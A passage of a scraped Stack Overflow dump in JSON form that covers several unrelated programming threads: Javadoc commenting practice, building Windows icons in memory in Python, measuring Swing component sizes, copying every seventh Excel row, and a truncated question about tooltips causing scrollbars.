"text": "<p>at a previous company, we used to use the jalopy code formatter with eclipse. That would add javadoc to all the methods including private.</p>\n\n<p>It made life difficult to document setters and getters. But what the heck. You have to do it -- you do it. That made me learn some macro functionality with XEmacs :-) You can automate it even further by writing a java parser and commenter like ANTLR creator did several years ago :-)</p>\n\n<p>currently, I document all public methods and anything more than 10 lines.</p>\n"
},
{
"answer_id": 211205,
"author": "Claudiu",
"author_id": 15055,
"author_profile": "https://Stackoverflow.com/users/15055",
"pm_score": 3,
"selected": false,
"text": "<p>When I write code for myself - <b>NO</b>. In this case, java doccing is a waste of my time.</p>\n\n<p>When I write code that others will use - <b>Yes</b>. Every method that somebody else can use (any public method) should have a java doc at least stating its obvious purpose. For a good test - run the javadoc creation utility on your code (I forget the exact command line now). Browse through the webpage it generates. If you would be satisfied using a library with that level of documentation, you're golden. If not, <b>Write more javadocs in your code</b>. </p>\n"
},
{
"answer_id": 211300,
"author": "Nrj",
"author_id": 11614,
"author_profile": "https://Stackoverflow.com/users/11614",
"pm_score": 1,
"selected": false,
"text": "<p>I feel there should at least be comments regarding the parameters accepted and return types in term of what they are. <br>\nOne can skip the implementation details in case the function names describes it completely, for eg, <strong>sendEmail(..)</strong>;</p>\n"
},
{
"answer_id": 211468,
"author": "Paul de Vrieze",
"author_id": 4100,
"author_profile": "https://Stackoverflow.com/users/4100",
"pm_score": 4,
"selected": false,
"text": "<p>For things, like trivial getters and setters, share the comment between then and describe the purpose of the property, not of the getter/setter.</p>\n\n<pre><code>/** \n * Get foo\n * @return The value of the foo property\n */\nint getFoo() {\n return foo;\n}\n</code></pre>\n\n<p>Is <strong>not useful</strong>. Better do something like:</p>\n\n<pre><code>/** \n * Get the current value of the foo property.\n * The foo property controls the initial guess used by the bla algorithm in\n * {@link #bla}\n * @return The initial guess used by {@link #bla}\n */\nint getFoo() {\n return foo;\n}\n</code></pre>\n\n<p>And yes, this is more work. </p>\n"
},
{
"answer_id": 214163,
"author": "volley",
"author_id": 13905,
"author_profile": "https://Stackoverflow.com/users/13905",
"pm_score": 4,
"selected": false,
"text": "<p>All bases covered by others already; one additional note:</p>\n\n<p>If you find yourself doing this:</p>\n\n<pre><code>/**\n * This method currently launches the blaardh into the bleeyrg.\n */\nvoid execute() { ... }\n</code></pre>\n\n<p>Consider changing it into this:</p>\n\n<pre><code>void launchBlaardhIntoBleeyrg() { ... }\n</code></pre>\n\n<p>This may seem a bit obvious, but in many cases the opportunity is easy to miss in your own code.</p>\n\n<p>Finally keep in mind that the change is not <em>always</em> wanted; for instance the behaviour of the method may be expected to evolve over time (note the word \"currently\" in the JavaDoc).</p>\n"
},
{
"answer_id": 214201,
"author": "CodingWithSpike",
"author_id": 28278,
"author_profile": "https://Stackoverflow.com/users/28278",
"pm_score": 0,
"selected": false,
"text": "<p>I try to at the very least document every public and interface property and method, so that people calling into my code know what things are. I also try to comment as much as possible in line as well for maintenance sake. Even 'personal' projects I do on my own time just for myself, I try to javadoc just because I might shelf it for a year and come back to it later.</p>\n"
},
{
"answer_id": 214830,
"author": "Domchi",
"author_id": 29192,
"author_profile": "https://Stackoverflow.com/users/29192",
"pm_score": 2,
"selected": false,
"text": "<p>For me, if somebody will see it or not doesn't matter - it's not likely I'll know what some obscure piece of code I wrote does after a couple of months. There are a few guidelines:</p>\n\n<ol>\n<li><p>APIs, framework classes, and internal reusable static methods should be commented thoroughly.</p></li>\n<li><p>Logic in every complicated piece of code should be explained on two places - general logic in javadoc, and logic for each meaningful part of code in it's own comment.</p></li>\n<li><p>Model properties should be commented if they're not obvious. For example, no point in commenting username and password, but type should at least have a comment which says what are possible values for type.</p></li>\n<li><p>I don't document getters, setters, or anything done \"by the book\". If the team has a standard way of creating forms, adapters, controllers, facades... I don't document them, since there's no point if all adapters are the same and have a set of standard methods. Anyone familiar with framework will know what they're for - assuming that the framework philosophy and way of working with it is documented somewhere. In this cases, comments mean additional clutter and have no purpose. There are exceptions to this when class does something non-standard - then short comment is useful. Also, even if I'm creating form in a standard way, I like to divide parts of the form with short comments which divide the code into several parts, for example \"billing address starts here\".</p></li>\n</ol>\n\n<p>In short, comment logic, not syntax, and do it only once, on a proper place.</p>\n"
},
{
"answer_id": 215185,
"author": "Miguel Ping",
"author_id": 22992,
"author_profile": "https://Stackoverflow.com/users/22992",
"pm_score": 3,
"selected": false,
"text": "<p>There is another reason you should use javadocs. In order to comment something, you have to understand it first. When you trying to comment a function, you are actually <em>thinking</em> of what the method/function/class does, and this makes you be more specific and clear in your javadoc, which in turn makes you write more clear and concise code, which is good.</p>\n"
},
{
"answer_id": 215218,
"author": "blizpasta",
"author_id": 20646,
"author_profile": "https://Stackoverflow.com/users/20646",
"pm_score": 1,
"selected": false,
"text": "<p>I make it a point to write javadoc comments whenever it is non-trivial, Writing javadoc comments when using an IDE like eclipse or netbeans isn't that troublesome. Besides, when you write a javadoc comment, you are being forced to think about not just what the method does, but what the method does <strong>exactly</strong>, and the assumptions you've made.</p>\n\n<p>Another reason is that once you've understood your code and refactored it, the javadoc allows you to forget about what it does since you can always refer to it. I'm not advocating purposely forgetting what your methods do but it's just that I prefer to remember other things which are more important.</p>\n"
},
{
"answer_id": 215717,
"author": "Paul Croarkin",
"author_id": 18995,
"author_profile": "https://Stackoverflow.com/users/18995",
"pm_score": 0,
"selected": false,
"text": "<p>You can run javadoc against code that does not have javadoc comments and it will produce fairly useable javadocs if you give thoughtful names to your methods and parameters.</p>\n"
},
{
"answer_id": 684202,
"author": "Jonathan Holloway",
"author_id": 82865,
"author_profile": "https://Stackoverflow.com/users/82865",
"pm_score": 1,
"selected": false,
"text": "<p>You should probably be documenting all of your methods really. Most important are public API methods (especially published API methods). Private methods are sometimes not documented, although I think they should be, just for clarity - same goes with protected methods. Your comments should be informative, and not just reiterate what the code does.</p>\n\n<p>If a method is particularly complex, it is advised that you document it. Some people believe that code should be written clearly so that it doesn't require comments. However, this is not always possible, so comments should be used in these cases.</p>\n\n<p>You can automate the generation of Javadoc comments for getters/setters from Eclipse via the code templates to save on the amount of documentation you have to write. another tip is to use the @{$inheritDoc} to prevent duplication of code comments between interfaces and implementation classes.</p>\n"
},
{
"answer_id": 15768134,
"author": "Kieth Smith",
"author_id": 2229343,
"author_profile": "https://Stackoverflow.com/users/2229343",
"pm_score": 2,
"selected": false,
"text": "<p>Java doc should not be relied on, as it places a burden on developers making changes to maintain the java doc as well as the code.</p>\n\n<p>Class names and function names should be explicit enough to explain what is going on. </p>\n\n<p>If to explain what a class or method does makes its name too long to deal with, the class or method is not focused enough, and should be refactored into smaller units. </p>\n"
},
{
"answer_id": 16750377,
"author": "Josef.B",
"author_id": 1149606,
"author_profile": "https://Stackoverflow.com/users/1149606",
"pm_score": 0,
"selected": false,
"text": "<p>Assumed in all the answers so far is that the comments will be good comments. As we all know that is not always the case, sometimes they are even incorrect. If you have to read the code to determine its intent, boundaries, and expected error behavior then the comment is lacking. For example, is the method thread safe, can any arg be null, can it return null, etc. Comments should be part of any code reviews.</p>\n\n<p>This may be even more important for private methods since a maintainer of the code base will have to contend with issues that an API user will not.</p>\n\n<p>Perhaps IDEs should have a feature that allows the use of a documenting form so that the developer can check off various properties that are important and applicable for the current method.</p>\n"
},
{
"answer_id": 26422898,
"author": "HamoriZ",
"author_id": 262114,
"author_profile": "https://Stackoverflow.com/users/262114",
"pm_score": 1,
"selected": false,
"text": "<p>Javadoc can be really useful for libraries and reusable components. But let's be more practical. It is more important to have self explaining code than javadoc. \nIf you imagine a huge legacy project with Javadocs - would you rely on that? I do not think so... Someone has added Javadoc, then the implementation has changed, new feature was added (removed), so the Javadoc got obsolete. \nAs I mentioned I like to have javadocs for libraries, but for active projects I would prefer </p>\n\n<ul>\n<li>small functions/classes with names which describe what they do </li>\n<li>clear unit test cases which give explanation what the\nfunction/classes do</li>\n</ul>\n"
},
{
"answer_id": 40135674,
"author": "Jason",
"author_id": 361855,
"author_profile": "https://Stackoverflow.com/users/361855",
"pm_score": 3,
"selected": false,
"text": "<p>No, do not comment every method, variable, class, etc..</p>\n\n<p>Here's a quote from \"Clean Code: A Handbook of Agile Software Craftsmanship\":</p>\n\n<blockquote>\n <p>It is just plain silly to have a rule that says that every function must have a\n javadoc, or every variable must have a comment. Comments like this just clutter\n up the code, popagate lies, and lend to general confusion and disorganization.</p>\n</blockquote>\n\n<p>A comment should exist if, and only if, it adds important information for the <em>intended</em> user of the method, variable, class, etc.. What constitutes \"important\" is worth consideration and could be a reminder to myself when/if I come back to this method/class/etc., a consequence/side effect of the method, motivation for why the thing even exists (in the case where some code is overcoming a shortcoming/bug of some library or system), important information about the performance or when it is appropriate to call, etc..</p>\n\n<p>What is <em>not</em> a good comment but indicates the code itself should be rewritten/modified is a comment explaining the details of a complex and obscure method or function. Instead, prefer shorter clearer code.</p>\n"
}
] |
2008/10/17
|
[
"https://Stackoverflow.com/questions/211041",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/24717/"
] |
Should I be writing Doc Comments for all of my java methods?
|
@Claudiu
>
> When I write code that others will use - Yes. Every method that somebody else can use (any public method) should have a javadoc at least stating its obvious purpose.
>
>
>
@Daniel Spiewak
>
> I thoroughly document every public method in every API class. Classes which have public members but which are not intended for external consumption are prominently marked in the class javadoc. I also document every protected method in every API class, though to a lesser extent. This goes on the idea that any developer who is extending an API class will already have a fair concept of what's going on.
>
>
> Finally, I will occasionally document private and package private methods for my own benefit. Any method or field that I think needs some explanation in its usage will receive documentation, regardless of its visibility.
>
>
>
@Paul de Vrieze
>
> For things, like trivial getters and setters, share the comment between then and describe the purpose of the property, not of the getter/setter
>
>
>
```
/**
* Get the current value of the foo property.
* The foo property controls the initial guess used by the bla algorithm in
* {@link #bla}
* @return The initial guess used by {@link #bla}
*/
int getFoo() {
return foo;
}
```
And yes, this is more work.
@VonC
When you break a huge complex method (because of [high cyclomatic complexity](https://stackoverflow.com/questions/105852/conditional-logging-with-minimal-cyclomatic-complexity) reason) into:
* one public method calling
* several private methods which represent internal steps of the public one
, it is very useful to javadoc the private methods as well, even though that documentation will not be visible in the javadoc API files.
Still, it allows you to remember more easily the precise nature of the different steps of your complex algorithm.
And remember: **[limit values or boundary conditions](https://stackoverflow.com/questions/61604)** should be part of your javadoc as well.
Plus, ***javadoc is way better than simple "//comment"***:
* It is recognized by IDE and used to display a pop-up when you move your cursor on top of one of your - javadoc-ed - function. For instance, a *constant* - that is private static final variable -, should have a javadoc, especially when its value is not trivial. Case in point: ***regexp*** (its javadoc should includes the regexp in its non-escaped form, what is purpose is and a literal example matched by the regexp)
* It can be parsed by external tools (like [xdoclet](http://xdoclet.sourceforge.net/xdoclet/index.html))
@Domci
>
> For me, if somebody will see it or not doesn't matter - it's not likely I'll know what some obscure piece of code I wrote does after a couple of months. [...]
>
> In short, comment logic, not syntax, and do it only once, on a proper place.
>
>
>
@Miguel Ping
>
> In order to comment something, you have to understand it first. When you trying to comment a function, you are actually thinking of what the method/function/class does, and this makes you be more specific and clear in your javadoc, which in turn makes you write more clear and concise code, which is good.
>
>
>
|
211,046 |
<p>What's a good way to generate an icon in-memory in python? Right now I'm forced to use pygame to draw the icon, then I save it to disk as an .ico file, and then I load it from disk as an ICO resource...</p>
<p>Something like this:</p>
<pre><code> if os.path.isfile(self.icon):
icon_flags = win32con.LR_LOADFROMFILE | win32con.LR_DEFAULTSIZE
hicon = win32gui.LoadImage(hinst,
self.icon,
win32con.IMAGE_ICON,
0,
0,
icon_flags)
</code></pre>
<p>...where self.icon is the filename of the icon I created.</p>
<p>Is there any way to do this in memory? EDIT: All I want to do is create an icon with a 2-digit number displayed on it (weather-taskbar style.</p>
|
[
{
"answer_id": 211110,
"author": "monkut",
"author_id": 24718,
"author_profile": "https://Stackoverflow.com/users/24718",
"pm_score": 0,
"selected": false,
"text": "<p>You can probably create a object that mimics the python file-object interface.</p>\n\n<p><a href=\"http://docs.python.org/library/stdtypes.html#bltin-file-objects\" rel=\"nofollow noreferrer\">http://docs.python.org/library/stdtypes.html#bltin-file-objects</a></p>\n"
},
{
"answer_id": 211304,
"author": "Toni Ruža",
"author_id": 6267,
"author_profile": "https://Stackoverflow.com/users/6267",
"pm_score": 3,
"selected": true,
"text": "<p>You can use <a href=\"http://wxpython.org/\" rel=\"nofollow noreferrer\">wxPython</a> for this.</p>\n\n<pre><code>from wx import EmptyIcon\nicon = EmptyIcon()\nicon.CopyFromBitmap(your_wxBitmap)\n</code></pre>\n\n<p>The <a href=\"http://docs.wxwidgets.org/stable/wx_wxbitmap.html#wxbitmap\" rel=\"nofollow noreferrer\">wxBitmap</a> can be generated in memory using <a href=\"http://docs.wxwidgets.org/stable/wx_wxmemorydc.html#wxmemorydc\" rel=\"nofollow noreferrer\">wxMemoryDC</a>, look <a href=\"http://docs.wxwidgets.org/stable/wx_wxdc.html\" rel=\"nofollow noreferrer\">here</a> for operations you can do on a DC.</p>\n\n<p>This icon can then be applied to a wxFrame (a window) or a wxTaskBarIcon using:</p>\n\n<pre><code>frame.SetIcon(icon)\n</code></pre>\n"
},
{
"answer_id": 49098381,
"author": "tenuki",
"author_id": 1033012,
"author_profile": "https://Stackoverflow.com/users/1033012",
"pm_score": 0,
"selected": false,
"text": "<p>This is working for me and doesn't require wx.</p>\n\n<pre><code>from ctypes import *\nfrom ctypes.wintypes import *\n\nCreateIconFromResourceEx = windll.user32.CreateIconFromResourceEx\nsize_x, size_y = 32, 32\nLR_DEFAULTCOLOR = 0\n\nwith open(\"my32x32.png\", \"rb\") as f:\n png = f.read()\nhicon = CreateIconFromResourceEx(png, len(png), 1, 0x30000, size_x, size_y, LR_DEFAULTCOLOR)\n</code></pre>\n"
}
] |
2008/10/17
|
[
"https://Stackoverflow.com/questions/211046",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/15055/"
] |
What's a good way to generate an icon in-memory in python? Right now I'm forced to use pygame to draw the icon, then I save it to disk as an .ico file, and then I load it from disk as an ICO resource...
Something like this:
```
if os.path.isfile(self.icon):
icon_flags = win32con.LR_LOADFROMFILE | win32con.LR_DEFAULTSIZE
hicon = win32gui.LoadImage(hinst,
self.icon,
win32con.IMAGE_ICON,
0,
0,
icon_flags)
```
...where self.icon is the filename of the icon I created.
Is there any way to do this in memory? EDIT: All I want to do is create an icon with a 2-digit number displayed on it (weather-taskbar style.
|
You can use [wxPython](http://wxpython.org/) for this.
```
from wx import EmptyIcon
icon = EmptyIcon()
icon.CopyFromBitmap(your_wxBitmap)
```
The [wxBitmap](http://docs.wxwidgets.org/stable/wx_wxbitmap.html#wxbitmap) can be generated in memory using [wxMemoryDC](http://docs.wxwidgets.org/stable/wx_wxmemorydc.html#wxmemorydc), look [here](http://docs.wxwidgets.org/stable/wx_wxdc.html) for operations you can do on a DC.
This icon can then be applied to a wxFrame (a window) or a wxTaskBarIcon using:
```
frame.SetIcon(icon)
```
|
211,051 |
<p>Because Canvas3D doesn't have the ability to resize dynamically with the parent frame, I would like to be able to track when a user resizes a window and then resize it manually myself. (If this ends up crashing Canvas3D, as some docs suggest, I will simply destroy and recreate it when the user resizes their window). Part of this procedure involves being able to accurately tell how big the container panel is to begin with.</p>
<p>The two methods I've tried:</p>
<pre>panel.getHeight();
panel.getPreferredSize().height;</pre>
<p>Don't seem to accurately report things: <code>getHeight()</code> is invariably zero, and <code>getPreferredSize()</code> returns numbers that don't actually have anything to do with the actual size of the panel.</p>
<p>Any ideas?</p>
<p><b>Edit</b>: So, I took a debugger to the panel object and manually inspected the non-object properties and I didn't see anything that resembled width/height. Granted, there are sub-objects that I didn't look at. Also, maybe the window has to be visible (it isn't, at the point I'm interfacing the object) when I query for height/object?</p>
<p><b>Edit 2</b>: So, Swing classes are subclasses of AWT classes, so I imagine if you're able to find the height/width of those, the approach would generalize. I've amended the title accordingly.</p>
|
[
{
"answer_id": 211095,
"author": "Simon Lehmann",
"author_id": 27011,
"author_profile": "https://Stackoverflow.com/users/27011",
"pm_score": 5,
"selected": true,
"text": "<p>To determine the size of a component you have to either:</p>\n\n<ul>\n<li>have set it manually at some point</li>\n<li>run the layout manager responsible for layouting the component</li>\n</ul>\n\n<p>Generally, you get the exact size of a component via the getSize() method, which returns a Dimension object containing width and height, but getWidth/Height() should work too. But this can only work, if one of the two preconditions are met. If a window has never been made visible, has no layout manager or the component (you want to know the size of) has been added after the window/container has been made visible, the size usually is zero.</p>\n\n<p>So to get the correct size, you have to make the container/frame visible (after you have added the component) or call validate() or doLayout() on the container to recalculate the layout, if you added the component after the last layout was done. Another thing to keep in mind is setting and probably configuring a layout manager on the container. If no layout manager ist set (null), even making a container visible oder calling validate() does not set a size on its children.</p>\n\n<p>The minimumSize/preferredSize/maximumSize properties are hints to the layout manager, how the component should be sized, but <em>it does not have to</em> obey them (most layout managers don't).</p>\n\n<p><strong>Edit 2:</strong> After I read <a href=\"https://stackoverflow.com/questions/210998/canvas3d-not-appearing-in-swing-window\">your other question</a> about the same subject, I think you should read <a href=\"http://java.sun.com/docs/books/tutorial/uiswing/layout/using.html\" rel=\"noreferrer\">Using Layout Managers</a> from The Java Tutorials</p>\n\n<p><strong>Edit:</strong> I don't know if you already figured that out, but to react to the resizing of the window, you can do something like this:</p>\n\n<pre><code>public class WindowResizeTest extends JFrame {\n\n public static void main(String[] args) {\n new WindowResizeTest();\n }\n\n public WindowResizeTest() {\n this.setSize(640, 480);\n\n JPanel panel = new JPanel();\n panel.setBackground(Color.RED);\n this.add(panel);\n\n this.addComponentListener(new ComponentListener() {\n\n public void componentResized(ComponentEvent e) {\n System.out.println(e.getComponent().getSize());\n }\n\n public void componentHidden(ComponentEvent e) {}\n\n public void componentMoved(ComponentEvent e) {}\n\n public void componentShown(ComponentEvent e) {}\n });\n\n this.setVisible(true);\n }\n\n}\n</code></pre>\n"
},
{
"answer_id": 11252652,
"author": "Taylor Golden",
"author_id": 1461754,
"author_profile": "https://Stackoverflow.com/users/1461754",
"pm_score": 1,
"selected": false,
"text": "<p>I found out that if you extend by JFrame, this code can be used also to save time, effort and space.</p>\n\n<pre><code>int windowWidth = getWidth();\nint windowHeight = getHeight();\n</code></pre>\n\n<p>I know you already got an answer but if you ever need an alternative, here it is.</p>\n"
}
] |
2008/10/17
|
[
"https://Stackoverflow.com/questions/211051",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/23845/"
] |
Because Canvas3D doesn't have the ability to resize dynamically with the parent frame, I would like to be able to track when a user resizes a window and then resize it manually myself. (If this ends up crashing Canvas3D, as some docs suggest, I will simply destroy and recreate it when the user resizes their window). Part of this procedure involves being able to accurately tell how big the container panel is to begin with.
The two methods I've tried:
```
panel.getHeight();
panel.getPreferredSize().height;
```
Don't seem to accurately report things: `getHeight()` is invariably zero, and `getPreferredSize()` returns numbers that don't actually have anything to do with the actual size of the panel.
Any ideas?
**Edit**: So, I took a debugger to the panel object and manually inspected the non-object properties and I didn't see anything that resembled width/height. Granted, there are sub-objects that I didn't look at. Also, maybe the window has to be visible (it isn't, at the point I'm interfacing the object) when I query for height/object?
**Edit 2**: So, Swing classes are subclasses of AWT classes, so I imagine if you're able to find the height/width of those, the approach would generalize. I've amended the title accordingly.
|
To determine the size of a component you have to either:
* have set it manually at some point
* run the layout manager responsible for layouting the component
Generally, you get the exact size of a component via the getSize() method, which returns a Dimension object containing width and height, but getWidth/Height() should work too. But this can only work, if one of the two preconditions are met. If a window has never been made visible, has no layout manager or the component (you want to know the size of) has been added after the window/container has been made visible, the size usually is zero.
So to get the correct size, you have to make the container/frame visible (after you have added the component) or call validate() or doLayout() on the container to recalculate the layout, if you added the component after the last layout was done. Another thing to keep in mind is setting and probably configuring a layout manager on the container. If no layout manager ist set (null), even making a container visible oder calling validate() does not set a size on its children.
The minimumSize/preferredSize/maximumSize properties are hints to the layout manager, how the component should be sized, but *it does not have to* obey them (most layout managers don't).
**Edit 2:** After I read [your other question](https://stackoverflow.com/questions/210998/canvas3d-not-appearing-in-swing-window) about the same subject, I think you should read [Using Layout Managers](http://java.sun.com/docs/books/tutorial/uiswing/layout/using.html) from The Java Tutorials
**Edit:** I don't know if you already figured that out, but to react to the resizing of the window, you can do something like this:
```
public class WindowResizeTest extends JFrame {
public static void main(String[] args) {
new WindowResizeTest();
}
public WindowResizeTest() {
this.setSize(640, 480);
JPanel panel = new JPanel();
panel.setBackground(Color.RED);
this.add(panel);
this.addComponentListener(new ComponentListener() {
public void componentResized(ComponentEvent e) {
System.out.println(e.getComponent().getSize());
}
public void componentHidden(ComponentEvent e) {}
public void componentMoved(ComponentEvent e) {}
public void componentShown(ComponentEvent e) {}
});
this.setVisible(true);
}
}
```
|
211,062 |
<p>I have an Excel spreadsheet with 1 column, 700 rows. I care about every seventh line. I don't want to have to go in and delete the 6 rows between each row I care about. So my solution was to create another sheet and specify a reference to each cell I want.</p>
<pre><code>=sheet1!a1
=sheet1!a8
=sheet1!a15
</code></pre>
<p>But I don't want to type in each of these formulas ... `100 times.I thought if I selected the three and dragged the box around, it would understand what I was trying to do, but no luck.</p>
<p>Any ideas on how to do this elegantly/efficiently?</p>
|
[
{
"answer_id": 211090,
"author": "AquilaX",
"author_id": 17734,
"author_profile": "https://Stackoverflow.com/users/17734",
"pm_score": -1,
"selected": false,
"text": "<p>Add new column and fill it with ascending numbers. Then filter by ([column] mod 7 = 0) or something like that (don't have Excel in front of me to actually try this);</p>\n\n<p>If you can't filter by formula, add one more column and use the formula =MOD([column; 7]) in it then filter zeros and you'll get all seventh rows.</p>\n"
},
{
"answer_id": 211098,
"author": "JFV",
"author_id": 1391,
"author_profile": "https://Stackoverflow.com/users/1391",
"pm_score": 1,
"selected": false,
"text": "<p>Create a macro and use the following code to grab the data and put it in a new sheet (Sheet2):</p>\n\n<pre><code>Dim strValue As String\nDim strCellNum As String\nDim x As String\nx = 1\n\nFor i = 1 To 700 Step 7\n strCellNum = \"A\" & i\n strValue = Worksheets(\"Sheet1\").Range(strCellNum).Value\n Debug.Print strValue\n Worksheets(\"Sheet2\").Range(\"A\" & x).Value = strValue\n x = x + 1\nNext\n</code></pre>\n\n<p>Let me know if this helps!\nJFV</p>\n"
},
{
"answer_id": 211729,
"author": "Mike Woodhouse",
"author_id": 1060,
"author_profile": "https://Stackoverflow.com/users/1060",
"pm_score": 8,
"selected": true,
"text": "<p>In A1 of your new sheet, put this:</p>\n\n<pre><code>=OFFSET(Sheet1!$A$1,(ROW()-1)*7,0)\n</code></pre>\n\n<p>... and copy down. If you start somewhere other than row 1, change ROW() to ROW(A1) or some other cell on row 1, then copy down again.</p>\n\n<p>If you want to copy the nth line but multiple columns, use the formula:</p>\n\n<pre><code>=OFFSET(Sheet1!A$1,(ROW()-1)*7,0)\n</code></pre>\n\n<p>This can be copied right too.</p>\n"
},
{
"answer_id": 212356,
"author": "Joe",
"author_id": 26883,
"author_profile": "https://Stackoverflow.com/users/26883",
"pm_score": 4,
"selected": false,
"text": "<p>If I were confronted with extracting every 7th row I would “insert” a column before Column “A” . I would then (assuming that there is a header row in row 1) type in the numbers 1,2,3,4,5,6,7 in rows 2,3,4,5,6,7,8, I would highlight the 1,2,3,4,5,6,7 and paste that block to the end of the sheet (700 rows worth). The result will be 1,23,4,5,6,7,1,2,3,4,5,6,7,1,2,3,4,5,6,7……. Now do a data sort ascending on column “A”. After the sort all of the 1’s will be the first in the series, all of the 7’s will be the seventh item.</p>\n"
},
{
"answer_id": 13540651,
"author": "mike",
"author_id": 1849332,
"author_profile": "https://Stackoverflow.com/users/1849332",
"pm_score": 2,
"selected": false,
"text": "<p>insert a new column and put a series in 1,2,3,4, etc. Then create another new column and use the command =if(int(a1/7)=(a1/7),1,0) you should get a 1 in every 7th row, filter the column on the 1</p>\n"
},
{
"answer_id": 20691212,
"author": "Allison",
"author_id": 3120654,
"author_profile": "https://Stackoverflow.com/users/3120654",
"pm_score": 2,
"selected": false,
"text": "<p>Highlight the 7th line. Paintbrush the format for the first 7 lines a few times. Then do a bigger chunk of paintbrush copying the format until you are done. Every 7th line should be highlighted. Filter by color and then copy and paste (paste the values) from the highlighted cells into a new sheet.</p>\n"
},
{
"answer_id": 36298246,
"author": "cameronroytaylor",
"author_id": 4541374,
"author_profile": "https://Stackoverflow.com/users/4541374",
"pm_score": 0,
"selected": false,
"text": "<p>If your original data is in column form with multiple columns and the first entry of your original data in C42, and you want your new (down-sampled) data to be in column form as well, but only every seventh row, then you will also need to subtract out the row number of the first entry, like so:</p>\n\n<pre><code>=OFFSET(C$42,(ROW(C42)-ROW(C$42))*7,0)\n</code></pre>\n"
},
{
"answer_id": 39706574,
"author": "CoderGuy123",
"author_id": 3980197,
"author_profile": "https://Stackoverflow.com/users/3980197",
"pm_score": 4,
"selected": false,
"text": "<p>In my opinion the answers given to this question are too specific. Here's an attempt at a more general answer with two different approaches and a complete example.</p>\n\n<h3>The <code>OFFSET</code> approach</h3>\n\n<p><code>OFFSET</code> takes 3 mandatory arguments. The first is a given cell that we want to offset from. The next two are the number of rows and columns we want to offset (downwards and rightwards). <code>OFFNET</code> returns the content of the cell this results in. For instance, <code>OFFSET(A1, 1, 2)</code> returns the contents of cell <code>C2</code> because <code>A1</code> is cell <code>(1,1)</code> and if we add <code>(1,2)</code> to that we get <code>(2,3)</code> which corresponds to cell <code>C2</code>.</p>\n\n<p>To get this to return every nth row from another column, we can make use of the <code>ROW</code> function. When this function is given no argument, it returns the row number of the current cell. We can thus combine <code>OFFSET</code> and <code>ROW</code> to make a function that returns every nth cell by adding a multiplier to the value returned by <code>ROW</code>. For instance <code>OFFSET(A$1,ROW()*3,0)</code>. Note the use of <code>$1</code> in the target cell. If this is not used, the offsetting will offset from different cells, thus in effect adding <code>1</code> to the multiplier.</p>\n\n<h3>The <code>ADDRESS</code> + <code>INDIRECT</code> approach</h3>\n\n<p><code>ADDRESS</code> takes two integer inputs and returns the address/name of the cell as a string. For instance, <code>ADDRESS(1,1)</code> return <code>\"$A$1\"</code>. <code>INDIRECT</code> takes the address of a cell and returns the contents. For instance, <code>INDIRECT(\"A1\")</code> returns the contents of cell <code>A1</code> (it also accepts input with <code>$</code>'s in it). If we use <code>ROW</code> inside <code>ADDRESS</code> with a multiplier, we can get the address of every nth cell. For instance, <code>ADDRESS(ROW(), 1)</code> in row 1 will return <code>\"$A$1\"</code>, in row 2 will return <code>\"$A$2\"</code> and so on. So, if we put this inside <code>INDIRECT</code>, we can get the content of every nth cells. For instance, <code>INDIRECT(ADDRESS(1*ROW()*3,1))</code> returns the contents of every 3rd cell in the first column when dragged downwards.</p>\n\n<h3>Example</h3>\n\n<p>Consider the following screenshot of a spreadsheet. The headers (first row) contains the call used in the rows below.\n<a href=\"https://i.stack.imgur.com/eyJuS.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/eyJuS.png\" alt=\"enter image description here\"></a>\nColumn <code>A</code> contains our example data. In this case, it's just the positive integers (the counting continues outside the shown area). These are the values that we want to get every 3rd of, that is, we want to get 1, 4, 7, 10, and so on.</p>\n\n<p>Column <code>B</code> contains an incorrect attempt at using the <code>OFFSET</code> approach but where we forgot to use <code>$</code>. As can be seen, while we multiply by <code>3</code>, we actually get every 4th row.</p>\n\n<p>Column <code>C</code> contains an incorrect attempt at using the <code>OFFSET</code> approach where we remembered to use <code>$</code>, but forgot to subtract. So while we do get every 3rd value, we skipped some values (1 and 4).</p>\n\n<p>Column <code>D</code> contains a correct function using the <code>OFFSET</code> approach.</p>\n\n<p>Column <code>E</code> contains an incorrect attempt at using the <code>ADDRESS</code> + <code>INDRECT</code> approach, but where we forgot to subtract. Thus we skipped some rows initially. The same problem as with column <code>C</code>.</p>\n\n<p>Column <code>F</code> contains a correct function using the <code>ADDRESS</code> + <code>INDRECT</code> approach.</p>\n"
}
] |
2008/10/17
|
[
"https://Stackoverflow.com/questions/211062",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/23105/"
] |
I have an Excel spreadsheet with 1 column, 700 rows. I care about every seventh line. I don't want to have to go in and delete the 6 rows between each row I care about. So my solution was to create another sheet and specify a reference to each cell I want.
```
=sheet1!a1
=sheet1!a8
=sheet1!a15
```
But I don't want to type in each of these formulas ... `100 times.I thought if I selected the three and dragged the box around, it would understand what I was trying to do, but no luck.
Any ideas on how to do this elegantly/efficiently?
|
In A1 of your new sheet, put this:
```
=OFFSET(Sheet1!$A$1,(ROW()-1)*7,0)
```
... and copy down. If you start somewhere other than row 1, change ROW() to ROW(A1) or some other cell on row 1, then copy down again.
If you want to copy the nth line but multiple columns, use the formula:
```
=OFFSET(Sheet1!A$1,(ROW()-1)*7,0)
```
This can be copied right too.
|
211,074 |
<p>The mouse hovers over an element and a tip appears. The tip overflows the page, triggering a scrollbar, which changes the layout just enough so that the underlying element that triggered the tip is no longer under the mouse pointer, so the tip goes away.</p>
<p>The tip goes away, so the scrollbar goes away, and now the mouse is again over the element.</p>
<p>Wash, rinse, repeat.</p>
<p>If I could make sure that tip isn't too big so as to trigger scrollbars, that would solve my problem.</p>
<p>EDIT: After reading comments, some things to clarify:
The div contains text which can vary. If I can, I want to show all the text. The div's location needs to be near the element the mouse's tip is over. So the key is, I need to know whether to truncate the text.</p>
<p>I did find this link:<br>
<a href="http://www.howtocreate.co.uk/tutorials/javascript/browserwindow" rel="nofollow noreferrer">http://www.howtocreate.co.uk/tutorials/javascript/browserwindow</a><br>
which contains this piece of the puzzle, figuring out how big the browser window is: </p>
<pre><code>function alertSize() {
var myWidth = 0, myHeight = 0;
if( typeof( window.innerWidth ) == 'number' ) {
//Non-IE
myWidth = window.innerWidth;
myHeight = window.innerHeight;
} else if( document.documentElement && ( document.documentElement.clientWidth || document.documentElement.clientHeight ) ) {
//IE 6+ in 'standards compliant mode'
myWidth = document.documentElement.clientWidth;
myHeight = document.documentElement.clientHeight;
